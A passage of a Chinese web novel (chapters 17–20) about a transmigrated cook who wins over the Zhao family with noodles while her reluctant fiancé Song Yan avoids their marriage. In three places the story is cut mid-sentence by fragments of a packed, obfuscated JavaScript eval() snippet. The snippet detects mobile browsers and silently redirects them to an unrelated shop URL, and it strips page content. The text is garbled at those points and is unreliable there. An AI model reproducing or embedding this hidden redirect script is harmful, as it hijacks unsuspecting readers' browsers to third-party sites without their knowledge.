夸完这一句还没有完，赵大娘嘴里的好话似说不完一般地不停夸着李美娘：“这姻缘正是歪打正着，打着灯笼都没找得那么好的！美娘不仅做菜好，性格也好，说话温温柔柔的，做事又爽利，要不是你二表哥已经娶了你二表嫂了，我非要和你娘掰扯掰扯，把这好姑娘抢到我赵家来！四郎好福气啊！” 被赵大娘拽着爪子的宋驰全程听着，只有尴尬微笑。 宋驰：福气个屁！要是二表哥真能娶李美娘就好了，他大哥是连李美娘的名字都不愿意听到，到时候真娶回家了，还不知道家里要一天吵几次架呢！ 宋驰想到当初李美娘在他家门口闹腾的那个劲，再想到他大哥的那张冷脸，就觉得心累。 他和谐的大家庭，即将一去不复返！ 宋驰被赵大娘按在堂屋里坐下，还给他冲了一碗红糖鸡蛋茶，但赵家女眷几乎都在厨房里忙活，赵大哥和赵二哥又还在药房和前面铺子里干活没回来，宋驰一个人也在堂屋里坐不住。 鸡蛋茶就喝了几口汤就放下了，溜到厨房里去看他们做面。 虽说这时代有男女七岁不同系的规矩，但他们小门小户的没讲究那么多，而且宋驰才只有十三岁，脸上孩子气都还没褪去，赵家女眷又都是他的长辈、姐妹，讲究就更没有那么大了。 宋驰一进到厨房，就见到他家小妹两只小爪子放在一团面团上戳戳按按，当即就叫出了声：“宋小月，你在搞什么东西，你玩完了，这面还能吃嘛！” 宋小月和她小哥宋驰碰到一起，两人就是两只乌眼鸡投胎的，听到她小哥嫌弃的语气，立即就不满了，用比她小哥声音还要高的音调嚷嚷着：“怎么不能吃！美娘姐姐都说了，我的面揉得好，待会儿还要教我削面条！” 不过揉一次面的工夫，就已经把宋小月和李抗美的感情培养出来了，宋小月进门的时候还礼貌有余，亲近不够的带姓叫人“李姐姐”，现在就已经变成“美娘姐姐”了。 宋驰敏锐地察觉到这称呼的变化，眉毛一挑，刚想把宋小月拎出去，问问这李美娘到底给她喂了什么迷魂汤，宋小月就率先出招了。 小小的人举着沾了满手面疙瘩的小手，屁股一撅，就把她小哥挤出了厨房。 “这里都是我们女人待的地方，小哥你不知羞，往姑娘堆里钻，给我出去吧！”说话完，脚一勾，就彻底把宋驰关到了厨房外面。 宋驰在外面气得咬牙切齿：“宋小月！” 里面赵家一众长辈，瞧着这兄妹两个的官司，乐得哈哈笑。 怪不得姑奶奶上门来，总说她家两个小的就是天生的冤孽活宝！ “好了，好了，我叫静霞去前头铺子还有药房叫他们男人回来吃饭了，我们这边面条下锅，他们就差不多回来了！”赵大娘拍拍手，让笑得肚子痛的大家伙们收收心，继续做手上的活计。 面条时间久了要放坨，味道就不好了，所以第一锅面也没有放多，就放了一半的手擀面，到时候吃完一碗，要吃第二碗的时候，再下第二锅。 李抗美教宋小月还有陈氏给她们的刀削面面团整形，然后就是削面。 宋小月人小，手也小，又没有适合的刀具，怎么都削不出李抗美演示时削出来的那个形状，她有些气馁。 李抗美有心摸摸小丫头的脑袋安慰，但是手里还拿着面团，要保持干净，就弯腰用胳膊把宋小月揽进怀里，用自己的脸贴了贴小丫头的小脸。 “小月手小，这刀也不合适，等姐姐打一副合适的刀具，小月大点了，一定能做出漂亮的刀削面！” 温柔的环抱和贴面，还有安慰的话语让宋小月的心情好了许多。 她把自己削坏的面团揉回去：“等我大了，一定能削出漂亮又好吃的面条！” 陈氏那边倒是颇有天赋，李抗美教了她几遍，削出来的面条就有模有样的了。 李抗美夸了她好几遍，陈氏藏在头巾下的耳朵都红了一片。 从来没有人那么直白地夸过她，原来她也有做得好的地方！ 这让陈氏信心十足，手上的面条越削越好。 不过刀削面还是现削进锅里的才好吃，所以陈氏还有宋小月他们练习削出来的刀削面，之后又揉进了面团里。 她们练习的功夫，那边锅里的手擀面也熟了。 锅盖掀开，沸腾的白汤升起带着面香的雾气，漂亮得好似九天之上带着仙气的云雾。 但九天之上的云雾是仙女织就，而她们厨房的雾气是人间带着热烫潮湿的烟火气息。 暖人心，更暖人胃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12190691|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有炊烟升起之处，便是凡人心安之处。 赵大娘忙着盛面，一口口大海碗在桌上转着圈排开，场面极为壮观。 家里人口多，吃饭的时候，就是这么一个场景。 学着李抗美的样子，在大海碗里舀上一勺面，倒一圈菜码在周围，家里几个爱吃荷包蛋的男人，就在面上盖个荷包蛋。 螺蛳酱就不放了，这玩意没多少了，留着给赵大夫父子进山收药的时候带上。 再切半个卤蛋，放上两片卤豆干，还有宋驰带过来的卤肉也切两片放在碗里。 一模一样的程序来上十几次，这么一桌色香味俱全的拌面就完成了。 赵家父子回来的时候，正好一人一碗，捧起来拌拌就可以吃。 手擀面是赵大娘的手艺，赵家父子吃了十几年都已经吃习惯了，但是他们家都是吃汤面，这么干拌着吃还是头一回，新鲜劲足得很，特别是赵大娘从李抗美那边学了一手摆盘，叫赵家父子几个进来就误会了。 “今天在外面叫的面？”说话的是小赵大夫，也就是赵大娘的丈夫。 别看小赵大夫名头前面挂个小，他的年纪可一点都不小，四十多奔五十的人了，只不过家里老父亲还健在，外头人又称呼他父亲为赵大夫，所以他这做儿子的就只能是小赵大夫，而且一小小了二三十年。 赵大娘见丈夫都已经吃了一口面了，还能说出这样的话来，嗔怪看了他一眼：“我的手艺你都吃不出来？” 小赵大夫又往嘴里塞了一筷子面，那熟悉的筋道口感，确实是他吃了十几年的手艺。 “嘿嘿！今天怎么想着这么做了？还怪好吃的！” 他婆娘揉面确实好吃，但做面却不讲究，一锅水，一把面，一把菜丢进去，出锅加点调料，菜黄了也不管，哪有今天这碗里的面条色香味俱全？！ 不用想，这面一定是未来外甥媳妇做的！ “美娘想着做个面给老太吃，你们都是沾了老太的光，吃着好东西了！”赵大娘这头和丈夫说话，那头见到两个儿子大口大口吃着面条，怕他们噎着，紧忙嘱咐：“慢点吃，慢点吃，不够还有，除了娘的面条，还有美娘做的刀削面，这可是新鲜玩意，保准你们都没有吃过！” 虽然赵大娘也没有吃过，但好歹她比家里这些男人要先听到刀削面的名字啊！ 李抗美做饭的手艺确实一绝，普普通通的拌面，经过她手一料理，那是比外面店里卖得还要好吃，一个个地吃得头都抬不起来。 那边宋驰嫌碗里的菜码不够，又偷偷去放菜码的大碗里舀了两勺拌进面里。 浓油赤酱的菜码浇头是他们家里做饭要不放盐，要不放大酱的老娘做不出的口味，就算是平平无奇的绿叶蔬菜，李抗美炒出来就是比自家老娘炒得要鲜嫩三分。 菜码浇头裹着面条，呼噜一吸，恨不得吃下去半碗，看着全是素的菜码，却总是能给他们带来惊喜。 唇齿间的咀嚼，感觉到微微弹牙的触感，入口香味，让人眼睛一亮：“是肉！” 切得碎碎的肉沫在浇头里看不见，又仿佛无处不在，每一口都能给人带来想要继续探索的小惊喜。 不止宋驰一个觉得碗里的菜码不够，赵大哥、赵二哥，甚至是赵大夫和小赵大夫，都偷偷装作若无其事的样子，过去放菜码的地方，舀了好几勺菜码进自己的碗里。 18. 第 18 章 菜码是赵大娘切的，掌勺十几年，从来没有出现过菜不够的赵大娘，终于在今天马失前蹄。 面才吃了一半，菜码竟然就不够了。 还是赵大娘自己吃到后面，觉着可以在碗里再放半勺菜码，那咸香下饭的豆角肉沫浇头，她吃着也觉着味道好极了，想要再来一份。 但等她过去的时候，桌子上哪里还有什么菜码，连碗都干干净净的了！ 赵二哥一份面不够吃，又从老婆陈氏那边夹了半份面，面多，浇头少，可偏偏他在陈氏那边一耽搁，菜码碗里的浇头就被狼一样的父兄分得干干净净的了。 他爷爷仗着辈分大，最过分，一个人就舀了三大勺，还振振有词：他年纪大了，口味重，就是喜欢吃咸一点的！ 菜码碗里留下的就只有一点用勺子舀不干净的酱汁和肉末，赵二哥左右看看，干脆一不做二不休，直接把自己碗里的面条倒进了菜码碗里，连碗一起端走。 所以等赵大娘过来的时候，只剩下一个连汤汁都被面条吸得干干净净的大海碗。 赵大娘捏筷子的手都硬了：这群家伙！ 李抗美吃不下一整碗面，和宋小月分吃一碗，不过因为宋小月心里还惦记着自己揉出来的刀削面，加上她人小肚子也小，所以她和李抗美的这碗面，没吃之前就被她分给了她小哥一大半。 宋驰又把自己之前没吃的红糖鸡蛋喂给宋小月吃，刚才还隔着厨房门骂骂咧咧的小兄妹两个，现在又好得一个人似的了。 李抗美细嚼慢咽吃完自己小盏里的面条，抬头就见着众人碗里的面条不够了，她把自己的面碗放到一旁，擦擦嘴，洗洗手，就开始准备下刀削面。 没有菜码也没有关系，赵家时代行医，还有自己的药房，很多后世的调料同时也是中药，赵家药房里都有。 同赵大娘说一句，不一会儿的工夫，就从赵家药房里拿出了一小袋香料。 没拿上好的那些，就是一些次品，赵家自家做药膳也会放些在里面，所以并不算什么大事。 不过赵大娘听说李抗美要用这些做面汤的时候，还有些诧异：“美娘，你家里也有人行医？” 李抗美：行医没有，做厨子的一串。 她笑笑：“有张祖传下来的食谱，也不算药膳，吊个香味罢了。” 李抗美都这么说了，赵大娘也没有多问，把手里的香料交给李抗美。 李抗美要去削面，就把香料配好分量，用纱布裹起来，放到中午用剩下的猪骨高汤里，拜托赵三姐看着一些火头。 料理完面汤，李抗美拿起整好的面团，一手面团，一手刀，只见她手中刀在面团上滑过，那面片就划过一道抛物线，准准落入散发着滚滚烫气的锅中。 李抗美也没有一次性就把手里的面团削完了，估摸着有个三碗的分量，就停了手，用大笊篱搅和一下锅里的面片，叫面片不要贴在一起，同时也是差不多煮熟，不会出现头茬下去的已经煮老了，而最后下去的还夹生的情况。 李抗美削刀削面的时候，陈氏就一直在旁边看着，她手上也模拟着李抗美手上的动作，在虚空中削着不存在的面团。 面熟了之后，就立马捞起来，期间李抗美还拜托陈氏去切点葱花。 一笊篱面，放一碗香料猪骨汤，再撒上一把葱花，虽然料不如刚才的干拌手擀面丰富，但香味绝对比刚刚的手擀面还要诱人。 三碗面出锅，正好屋里赵老太那一碗料多面少的特制面也已经吃完了。 老人家吃了个六七分饱，平常她也就是这个饭量，正餐少吃一点，饭后还会有各种零食。 但今天这一碗小碗的面条给老人家吃开了胃，她觉得不够，嚷嚷着让儿媳妇再去给盛一碗面过来。 郑冬冬没法子，又出来，哪里晓的外面早就吃得干干净净，但是又有三碗新出锅的汤面。 这是——阳春面？ “娘，怎么了？”赵大娘见婆婆出来，紧忙迎过去，三碗面她已经做主先给了公公，还有丈夫小叔子。 “老太说还想吃。”郑冬冬有些为难，其实这也是老太第一次说加餐。 赵大夫碗里的面已经吃了一口，还喝了一口面汤。 这瞧着平平无奇的面，味道实在很不一般，清澈的汤，口感微微辛辣，却不油腻，还恰到好处冲淡刚刚浓汤赤酱的浇头拌面留在嘴里的咸味，让口腔别样清爽。 赵大夫能尝出是那些中药的味道，脑子里分析着药性，觉着这汤冬日里吃着实在不错。 他此时听到老妻的话，也惊讶老娘竟然要加餐，考虑了一下老娘的身体，把手中的面碗放下：“拿个碗，我碗里的面分给老娘。” 郑冬冬有些犹豫：“这……老太会吃吗？” 照顾赵老太四十几年，郑冬冬这个做儿媳的对赵家老太太吃东西的口味，再清楚不过，爱吃咸的，还无肉不欢！ 但丈夫都发话了，再看看厨房，一个个光溜溜的大海碗，比外孙未过门媳妇的白脸蛋都还要光溜干净。 罢了，要是老太真不吃，那就再去给丈夫、儿子还有孙子准备的螺蛳酱里舀一勺螺蛳酱出来给老太太拌面吃。 谁叫他们家就这个老祖宗最大了！ 但最后的结果表示，她郑冬冬就算伺候了老太太吃饭伺候了四十几年又怎样，还不如赵大夫这个一天才看老娘几眼的儿子更了解老娘。 明明一碗老太太最不喜欢的“阳春面”，可偏偏老太太就和中了邪一样，面也吃完，汤也喝得一口不剩。 最后还劳烦赵大夫过来，亲自给老娘开了消食药，郑冬冬则是扶着老太太的手，陪着老太太一圈一圈在院子里溜达消失。 老太太舒坦了，才轮得着郑冬冬吃饭，面汤入口的那瞬间，郑冬冬总算是明白这一碗看起来普普通通的“阳春面”到底是怎么俘获老太太的芳心的了！ 另一头，宋小月坐在桌子前，面前是一个比她脸还要大的大海碗，她坐在高凳上，吃得头也抬不起来，要是弯腰还能看到小丫头两只小脚在半空中乱晃，这是吃的开心极了。 宋驰也抱着一个差不多大的海碗溜达过来，大碗碰大碗，咚一声，宋驰碗里的一个卤蛋就被赶到了宋小月碗里。 宋驰虽然嘴上和宋小月吵吵闹闹，还要说她是个馋嘴丫头，但家里最宠着宋小月的，也是他。 刚刚把红糖鸡蛋让给宋小月，现在又给宋小月一个卤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12190692|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋。 赵家最小的男丁，赵小舅和刘氏的儿子，也就是赵四妹嘴里被李抗美抢了鸡蛋吃的赵三弟，见着宋小月居然比他多一个鸡蛋，立即嚷嚷开了。 “你怎么又有一个鸡蛋！” 宋小月最讨厌赵三弟这个表弟了，冲着他皱了皱鼻子：“我哥给的，你有本事也叫你个给你啊！” 赵三弟看着比自己大了十多岁的两个堂哥，赵大哥、赵二哥，他们两个的碗里别说卤蛋了，连面汤都没有了。 赵大哥和赵二哥都在自家的药房里工作，每日捣药、制药，体力消耗也不小，加上他们本来就处于好胃口的年纪，自己吃都不够了，哪里还有余粮分给堂弟。 宋小月在口舌之战中占了上风，宋驰就不管亲妹妹和表弟的战争，一屁股坐在宋小月身旁。 宋小月这馋丫头，眼大肚子小，这一海碗的面，肯定吃不完，再加上一个卤蛋，剩得更多，到时候剩下的刀削面，都给他吃！ 不仅赵家大哥和二哥的胃口好，宋驰也处于半大小子，吃穷老子的时候，有时候半夜饿了，摸到厨房冷馍馍都能干吃七八个，更不要说这色香味俱全的刀削面了！ 宋驰边吃边摇头：真是好吃啊！也不知道大哥要是知道他错过的是什么，会不会在夜里哭醒！ 而此时的宋四郎宋彦，吃着软塌塌的剩饭，确实有些食不下咽，但不是因为家里的剩饭剩菜不好吃，而是因为他亲娘的话。 饭桌上，宋大娘：“四郎，美娘的病好得好不多了，你看什么时候，娘过去和美娘把生辰八字合一下，挑个好日子，就给你俩成婚。” 宋木匠也在旁边添油加醋地点头：“你娘说得对，既然已经定了这门婚事，就好好待人家，她一个未成婚的小姑娘，就算是亲戚，也不好在人家家里久待，早点把婚事定下，让人过门，以后家里事情也多个人帮忙，也让你娘享享当婆婆的福！” 宋彦听到家中二老说起李美娘，口里煮过二道，本就没有什么滋味的饭菜，就更加味同嚼蜡了。 他放下碗：“我吃饱了……”想以此逃离饭桌，逃离这个让他窒息的话题。 宋大娘筷子往桌上一拍，横眉怒瞪：“给我坐下！想到哪里去！” 宋彦口都没有张开，宋大娘的话就和机关枪似的突突突朝着宋彦进攻：“和你说婚事，你就这个死样子，人家媒婆上门给你相看，你不愿意，给我拖拖拖，拖到这个年纪，人家和你这么大年纪的，娃都两三个了！现在好不容易有个姑娘，你还是这副死样子，当初救人不是你自己下去救的？！水里不是你自己和人家姑娘肉贴肉的？！事情做了就要负责！我瞧着美娘很好！我就认她当我儿媳妇！” 宋彦被亲娘的话吵得头大，他微微拧眉：“我没有……” “没有什么？当初美娘在家门口的时候，亲事不是你自己应下的？” 这话宋彦没法反驳，确实是他自己应下的，当时外面吵，家里也在吵，娘亲哭哭啼啼，小弟小妹还在耳边叽叽喳喳，连大姐都惊动了，他烦不胜烦，就应了他娘说的，答应了娶李美娘为妻。 可后来打听清楚李美娘的身份，宋彦是越想越憋屈，对李美娘的厌恶也是与日俱增。 19. 第 19 章 宋彦一脸生无可恋：“娘，吃饭的时候别说这些。” 宋大娘：“行，我不说这些！” 还不等宋彦放下一口气，就听到她娘道：“要不是你中午招呼都不打一声，家里怎么会剩下那么多剩饭？” 宋彦低头看着自己碗里水滋滋的饭粒，还有搅和在饭里面的菜蔬：他还以为娘今天咸菜饭做失败了，原来是中午的剩菜剩饭？ 夹了一筷子桌上的螺蛳酱：不过这螺肉酱做得倒挺好吃的。 再夹一筷子香酥小鱼：还怪好吃的，怪不得昨天小月“爹爹爹”的一直撒娇。 宋大娘见宋彦碗里剩菜剩饭没扒拉几口，倒是桌上的螺蛳酱还有香酥小鱼都被他吃出了一个缺。 宋彦嘴里刚嚼完两根香酥小鱼，正回味那满口生香的味道，欲伸筷子再来一口香酥小鱼就碗里的剩饭，就见他娘睨他一眼，低声问：“这螺蛳酱和香酥小鱼好吃吗？” 一句“味道还不错，娘你从哪里买的”还没有脱口而出，就听到他娘冷哼一声：“娶人家心不甘情不愿，在这里吃人家做的东西，倒是一口接着一口，吃得欢快！” 宋彦：人家？这个人家是谁？！ 宋大娘再接再厉地阴阳怪气，边说话还边捶着胳膊腿：“可怜我老婆子日日伺候他们父子几个，就想要个长得乖巧，说话好听，做饭更是好吃的儿媳妇，有些不孝子都不能让我如愿！” 宋木匠见到宋大娘如此作态，忙放下手里碗筷，同自家老婆子一起搭台唱戏。 他捏着宋大娘的肩膀手臂：“孩他娘，你这肩膀，你这手臂，怎么都这么硬？养不教父之过，孩他娘，是我没用，这些年让你受累了……” 宋彦木着一张脸看他家爹娘唱双簧。 宋木匠：“哎，四郎不愿娶就不愿娶吧！怎么能为了孩他娘你的一点辛苦，为了咱老两口想天伦之乐的那点念头，就委屈四郎呢？” 宋彦：…… 宋大娘垂泪：“隔壁陈家嫂子，前街刘家大婶，他们家大儿都与我家四郎同龄，每每上街采买，都见着人家婆媳手牵手、肩并肩，轻轻热热的，我心头那叫一个酸楚啊！”还没完，宋大娘窥一眼儿子神情，掩面哭泣，继续下猛料：“这才开春多长时间，陈家孙孙百天，刘家孙孙满月，你大姑家女儿出月子……”宋大娘细数亲戚朋友家有新生儿的人家，“随了不少礼出去，还有你舅家的二弟，岁数还比你小几岁呢，他媳妇就要出月子了，送月里，满月近，这么光出不进，你爹娘的棺材本都要填进这人情往来里了！” 宋彦：…… “我也不是心疼钱，我只是看着人家，同我差不多的岁数，日日有儿媳妇陪着，上街采买有人陪，料理家事也是婆媳俩有说有笑商量着来，闲着无事还能逗弄孙儿，我瞧在眼里，这心里就憋闷地上不来气……” 宋彦看着他娘捧心做戏，冷心冷情丝毫不改：“大姐才生了一对龙凤胎，娘想逗弄孙儿，我同姐夫说一声，把一双外甥接过来养，反正也是两对门，何老伯、何大娘乐得清闲。” 宋大娘戏演不下去了，气急败坏把筷子朝着宋彦的方向一扔，怒骂道：“我接！我接！我要接的是你姐生的嘛！人家姓何，不姓宋！还何老伯、何大娘乐得清闲！宋四郎你要不是姓宋，要不是我肚子里爬出来的，你看我管不管你娶媳妇，生儿子！气死我了！” 宋大娘脸都被气得通红，要不是有宋木匠拦腰抱着，估计都要掀翻饭桌，过去把某个不孝子痛打一顿了。 宋彦自打听说桌上两盘小菜是李抗美做的之后，一筷子都没有碰过，碗里发黄的烂菜，水滋滋的米饭粒，就着桌上一盘榆钱窝头，吃了个囫囵，就丢下一句“XX找我有要事相商”下桌走人了。 就是不知道他小子要是知道桌上那盘榆钱窝头也是李抗美亲手做的之后，会不会连今晚的这顿饭一起从胃里吐出来。 宋家才提头的婚事又不了了之，在赵家住着的准新嫁娘对此事一无所知，不过就算李抗美知道了，估计也不会多生气。 赵家人除了极个别几个，其余人都待她十分好，李抗美都有些乐不思蜀了。 嫁人？嫁人是什么东西？ 不过李抗美虽然很想就这样在赵家无忧无虑地住下去，但也知道赵家人是为了什么收留自己的，养病的时候没有办法，住在赵家受人照顾，这人情是不得不欠。 可现在她身体已经好起来了，还这样当作什么都不知道住在赵家，吃穿喝都是赵家人张罗的，那也太不知好歹，把人家的善心当作理所当然，不怪赵四妹要讨厌她，她自己都要讨厌自己了。 李抗美不认为自己帮忙赵家做几餐饭，做点家务就能抵消赵家人对她的恩情。 不说病中的汤药，后来养身体的鸡、蛋、肉，那样不是银钱，还有她身上穿的衣裳，说是二姐在家做姑娘时的旧衣服，放着又可惜，才给她。 但李抗美不是没有眼睛，赵二姐的亲妹妹，赵三姐平日里换洗的衣服也才三两身，赵家人给她的两套衣裳都是八成新，哪里是赵二姐在家做姑娘时的旧衣服，恐怕是赵家与她身形相当的姑娘匀出来的衣裳，这么说只是怕她心中有负担罢了。 赵家与她身形相当的姑娘只有赵三姐和赵四妹，这也是赵家姐妹一开始不愿意接纳李抗美的原因。 也是赵四妹几乎是踩着李抗美的脸在闹腾了，李抗美还要让她三分，她不得不承这份情。 当长此以往不是长久之计，李抗美心里盘算着自己也应该找条出路，不能像根菟丝花一般，永远攀附赵家人。 她爷爷和她说过“靠山山倒，靠人人跑”，不管什么事情，靠自己才是最可靠的。 李抗美在家教赵三姐做几道美味的家常菜，心中还在搜索着原身李美娘的记忆，盘算着这时代有没有像国营饭店那样的地方，她可以给人家当个大厨，要是不能让她上二灶、三灶， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12247889|128892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她上砧板也可以。 李抗美说的二灶，三灶，砧板，都是中餐厨房里的职位。 只不过原身李美娘不过是柳溪县柳溪河畔的一个小小渔女，见识实在太少，所有心眼都用来算计宋彦了，李抗美想知道的，她一无所知。 所以李抗美此刻还颇为天真，觉着这个时代的“国营饭店”，能收她一个姑娘家进后厨全是糙老爷们的地方做活。 又在赵家待了几天，教了赵三姐一些厨房的基本功，赵二姐和陈氏也在旁边跟着一起学。 李抗美还帮着赵三姐一起缝了几针她的嫁妆。 原身李美娘不会多精致的女工，李抗美也不会刺绣这些，但是针脚倒是又密又整齐。 谁叫她下乡的那个穷地方，连个缝纫机都没有，衣裳裤子破了，全靠自己手缝，李抗美都练出技术来了，还能把衣裳破口子的地方，缝得和没破过似的。 做饭的时候，李抗美教赵三姐几个做饭，空的时候赵家姐妹教李抗美女工，又帮着一起绣绣嫁妆，几个姑娘之间的感情，包括嫁入赵家之后一直没有什么存在感的陈氏，和她们的感情都深厚了不少。 约莫也就一个礼拜的功夫，李抗美在早上跟着出去买菜的时候，都会打听一下哪里要人做活，可惜除了浆洗衣裳这样活计，几乎没有地方要她一个姑娘家。 碰壁几次，李抗美反应过来，这已经不是原来的世界了，便再也不说找活计的事情了，只是在教赵家人做饭这件事上，变得更用心起来了。 她现在暂且没有能力报答赵家人，能付出的也只有这些了。 自送榆钱那日才不过一旬不到的时间，李抗美在赵家过着岁月静好的日子，却不知道柳溪河畔，一群小萝卜头，一天三遍地去她那破渔船瞧。 而丝毫不知自己被惦念着的李抗美，正被宋小月缠着做好吃的呢。 自打知道李抗美那一手做饭手艺，半年都不见得来赵家一次的宋小月，就差住在赵家了。 不过她也知礼，回回来不空手，摸点家里的吃食，又或者拿个小时候玩的拨浪鼓、布老虎，说是给小外甥的礼物。 今日上门来，手臂上挎着一个篮子，盖灰的粗布一掀，里头也不知道是宋小月从哪里淘来的香椿，鲜嫩的叶子上都还沾着清晨的露水呢！ 赵家外婆：“你娘叫你拎过来的？” 宋小月：“才不是，是我自己摘的！头茬香椿，拿过来孝顺外婆！” 赵家外婆哪里不知道宋小月这个小馋猫，只不过是馋着美娘的手艺罢了！ 不过想想李抗美做饭的手艺，赵家外婆就是自认不馋嘴，嘴巴里也分泌了不少口水。 中午赵家的饭桌上多了一道凉拌香椿，焯过水的香椿，拌上辣椒段、香葱、蒜泥、姜末，再倒点酱油、盐、醋，最后撒一撮红糖。 赵家人多，宋小月带过来的一大篮子香椿，都吃下去大半篮了，犹觉不够。 20. 第 20 章 宋小月在外婆家吃了她美娘姐姐几顿饭，本就不算清瘦的小脸弧度更加圆润了，今天中午这一顿，嘴上吃着酸辣开胃的凉拌香椿，宋小月更是吃得小肚子圆乎。 满足摸摸自个的小肚皮，宋小月寻思着在外婆家院子里溜达溜达，消消食，再出去找她小哥炫耀一下今天在外婆家吃了什么好吃的，就听见院门外传来“笃笃笃”的敲门声。 “谁啊！”二表姐在洗碗，外婆和大舅母、小舅母有事出去了，其他人都在药房做事，美娘姐姐陪着三表姐去买绣线，赵家那么多人闲着能去开门的，竟然只有她宋小月一个？ 吸了吸小肚子，宋小月去到门边。 宋小月没有贸然开门，她从小被家里人耳提面命，知晓拍花子套路深，所以自己一个人的时候，一直很警惕。 外面敲门的人听到宋小月一个小孩的声音，半晌没有人答应。 宋小月听着没人答应，也不开门。 她怕是拍花子的套路。 不过不开门，她也不离开，反倒踮着脚，悄悄趴到门板上，扒着门缝往外瞧去——让她看看，到底是不是拍花子在外面！ 拍花子没有见到，倒看见七八个同她年纪差不多的小孩，皱着眉头挤在一起。 宋小月看到他们嘴巴一张一合，就知道他们是压低了声音在说悄悄话。 心里小猫爪子挠，想要听到这群小孩在说什么，想要知道他们过来外婆家是为了什么，宋小月立即把自己的耳朵紧紧贴在了门板上，企图依次听到门外小孩说的悄悄话。 嘿！还真叫宋小月这小孩听到了外面七八个孩子窃窃私语的声音，虽然只听到几句，但也足够宋小月抓住重点了。 为首的黑小孩：“怎么是个小孩？” 其他小孩：“美娘姐姐好像没有在……” 宋小月就听到这两句，但她知道了，这一伙小孩是来找她美娘姐姐的。 知道外面的人不是拍花子，宋小月就把门打开了。 外面的黑小孩们猝不及防里面人把门打开，纷纷吓了一跳，还不等拍拍胸脯，给自己摸摸毛压压惊，就听到赵家院门里出来一个白胖丫头，倨傲地看着他们：“你们找我美娘姐姐干什么！” 声音正是他们刚才在门外听到的小孩声音。 这一伙黑不溜秋的小孩自然就是前段日子，在河畔帮李抗美摸螺蛳，砸螺蛳的渔家小孩。 今日到赵家来找李抗美，也不是为了别的，自然是为了一口吃的。 李抗美一盘小酥鱼还有一锅爆炒螺蛳，七八日的时间过去了，还叫这一群平日里没有吃过什么好货的渔家小孩念念不忘。 一日三趟地去李家那艘破渔船，等着李抗美什么时候回家，他们好再和她换些好吃的。 李抗美喜欢的螺蛳，还有猫猫鱼，他们都已经抓了好多了，李抗美不来，他们还特意把这些螺蛳和猫猫鱼养在水里，就等着李抗美来了，好一股脑给她换好吃的。 可左等右等，都等不到李抗美回来，小萝卜头们扛不住家里爹妈的唠叨，好些辛苦收集来的螺蛳和猫猫鱼都被爹妈拿走，不是做成爹爹桌上的并不怎么好吃的下酒菜，就是提到集市上，几文钱一桶卖给养了鸭子的人家做鸭食。 一群小孩就商量着主动出击，既然李抗美不回渔船，那就他们过去找她。 他们每日帮家里人干完活也就是疯玩，现在把疯玩的时间都用来打听李抗美的消息。 李抗美病好了之后，就算不是每天，隔上一日也会跟着赵家人出门，去早市上买菜。 人走过就会有痕迹，还真叫几个小孩打听到了李抗美的下落。 其实今天已经不是几个小孩第一次来赵家了，只不过之前都是远远看着，好不容易到今天才攒足了勇气，过来敲门。 但是没想到来开门的竟然不是他们想的美娘姐姐，而是一个和他们差不多大的城里小孩。 看着白白胖胖的宋小月，几个黑黑瘦瘦的渔家小孩都有些自卑。 他们出身渔家，生在船上，长在船上，他们是没有土地的人，总是被岸上的人看不起。 几个渔家孩子你推推我，我推推你，全藏在了为首的那孩子身后，一个个恨不得全藏到人家的影子里，叫宋小月的目光落不到自己身上。 为首的那黑小孩心里也慌，紧紧攥着的拳头里全是冷汗，抿着嘴唇，半天说不出一句话。 他平时也是个口舌伶俐的孩子，但不知为什么对上昂着小脑袋，站在高了几阶楼梯上的宋小月，下意识觉得自己矮了人家一头。 宋小月见他久久不回话，心里有些不耐烦，她也是榕树巷里的孩子王，和同龄的小孩一起，本来就是性子比较霸道的那一个。 “怎么不说话，你找我美娘姐姐干什么！” 黑小孩听着宋小月高扬的音调，心里莫名就多了一股说不清的气，或许就是这股莫名其妙的情绪，让他生出了一分勇气，黑小孩猛地抬头，冲着宋小月凶巴巴道：“不关你的事！” 然后不等宋小月回答，率先跑掉了。 其他孩子见自己的头头跑了，一下也慌了，紧忙跟在黑小孩身后一起跑了。 “喂！”宋小月追了几步，没赶上干脆就不追了，她肚子撑得慌，现在跑步肚子痛就算了，要是把中午吃的都吐出来，那岂不是亏大了！ 宋小月什么都吃，就是不能吃亏！ 这边宋小月前脚才回到赵家关上院门，后脚李抗美和赵三姐就手挎着手亲密回来了。 宋小月忙重新打开关了一半的院门：“美娘姐姐！” 宋小月眼里只有会做好吃的美娘姐姐！ “小月，三表姐也和你美娘姐姐一起呢！怎么光看得见你美娘姐姐，看不见你三表姐？！”赵三姐几步过去，捉住宋小月的白胖小脸，使劲一揉搓。 